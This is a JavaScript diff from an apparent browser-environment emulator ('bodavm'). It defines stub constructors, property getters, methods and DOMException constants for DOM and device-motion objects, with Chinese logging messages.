+bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +// DeviceMotionEventRotationRate对象 + +bodavm.memory.globalobj['DeviceMotionEventRotationRate'] = function DeviceMotionEventRotationRate() { + console.log_copy('DeviceMotionEventRotationRate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEventRotationRate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventRotationRate'], "DeviceMotionEventRotationRate"); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "alpha", { + configurable: true, + enumerable: true, + get: function alpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "alpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "beta", { + configurable: true, + enumerable: true, + get: function beta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "beta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "gamma", { + configurable: true, + enumerable: true, + get: function gamma() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "gamma_get", arguments); + }, + set: undefined +}, 'prototype'); +// devicePixelRatio对象 + +bodavm.memory.globalobj['devicePixelRatio'] = { + _boisinit: bodavm.config.isinit +}; +// DocumentTimeline对象 + +bodavm.memory.globalobj['DocumentTimeline'] = function DocumentTimeline() { + console.log_copy('DocumentTimeline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DocumentTimeline(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentTimeline'], "DocumentTimeline"); +bodavm.memory.globalobj['DocumentTimeline'].prototype.__proto__ = bodavm.memory.globalobj['AnimationTimeline'].prototype; +bodavm.memory.globalobj['DocumentTimeline'].__proto__ = bodavm.memory.globalobj['AnimationTimeline']; +// DOMMatrixReadOnly对象 + +bodavm.memory.globalobj['DOMMatrixReadOnly'] = function DOMMatrixReadOnly() { + console.log_copy('DOMMatrixReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMMatrixReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrixReadOnly'], "DOMMatrixReadOnly"); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat32Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat64Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function fromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromMatrix", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "a_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "b_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "c_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "d_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "e_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "f_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m11", { + configurable: true, + enumerable: true, + get: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m11_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m12", { + configurable: true, + enumerable: true, + get: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m12_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m13", { + configurable: true, + enumerable: true, + get: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m13_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m14", { + configurable: true, + enumerable: true, + get: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m14_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m21", { + configurable: true, + enumerable: true, + get: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m21_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m22", { + configurable: true, + enumerable: true, + get: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m22_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m23", { + configurable: true, + enumerable: true, + get: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m23_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m24", { + configurable: true, + enumerable: true, + get: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m24_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m31", { + configurable: true, + enumerable: true, + get: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m31_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m32", { + configurable: true, + enumerable: true, + get: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m32_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m33", { + configurable: true, + enumerable: true, + get: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m33_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m34", { + configurable: true, + enumerable: true, + get: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m34_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m41", { + configurable: true, + enumerable: true, + get: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m41_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m42", { + configurable: true, + enumerable: true, + get: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m42_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m43", { + configurable: true, + enumerable: true, + get: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m43_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m44", { + configurable: true, + enumerable: true, + get: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m44_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "is2D_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "isIdentity", { + configurable: true, + enumerable: true, + get: function isIdentity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "isIdentity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipX", { + configurable: true, + enumerable: true, + writable: true, + value: function flipX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipY", { + configurable: true, + enumerable: true, + writable: true, + value: function flipY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "inverse", { + configurable: true, + enumerable: true, + writable: true, + value: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "inverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "multiply", { + configurable: true, + enumerable: true, + writable: true, + value: function multiply() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "multiply", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateAxisAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateAxisAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateAxisAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateFromVector", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateFromVector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale3d", { + configurable: true, + enumerable: true, + writable: true, + value: function scale3d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale3d", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scaleNonUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleNonUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scaleNonUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewX", { + configurable: true, + enumerable: true, + writable: true, + value: function skewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewY", { + configurable: true, + enumerable: true, + writable: true, + value: function skewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function toFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat32Array", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function toFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat64Array", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "transformPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function transformPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "transformPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toString", arguments); + } +}, 'prototype'); +// DOMError对象 + +bodavm.memory.globalobj['DOMError'] = function DOMError() { + console.log_copy('DOMError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DOMError': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMError'], "DOMError"); +bodavm.toolsFunc.defineProperty('DOMError', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +// DOMException对象 + +bodavm.memory.globalobj['DOMException'] = function DOMException() { + console.log_copy('DOMException 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMException(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMException'], "DOMException"); +bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}); +bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 17 +}); +bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 18 +}); +bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 19 +}); +bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 20 +}); +bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 21 +}); +bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 22 +}); +bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 23 +}); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 24 +}); +bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 25 +}); +bodavm.toolsFunc.defineProperty('DOMException', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 17 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 18 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 19 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 20 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 21 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 22 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 23 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 24 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", { + configurable: false, + enumerable: true, + writable: false, + value: 25 +}, 'prototype'); +// DOMImplementation对象 + +bodavm.memory.globalobj['DOMImplementation'] = function DOMImplementation() { + console.log_copy('DOMImplementation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMImplementation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMImplementation'], "DOMImplementation"); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocumentType", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocumentType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocumentType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "createHTMLDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function createHTMLDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createHTMLDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMImplementation', "hasFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function hasFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "hasFeature", arguments); + } +}, 'prototype'); +// DOMMatrix对象 + +bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix() { + console.log_copy('DOMMatrix 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMMatrix(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); +bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__ = bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; +bodavm.memory.globalobj['DOMMatrix'].__proto__ = bodavm.memory.globalobj['DOMMatrixReadOnly']; 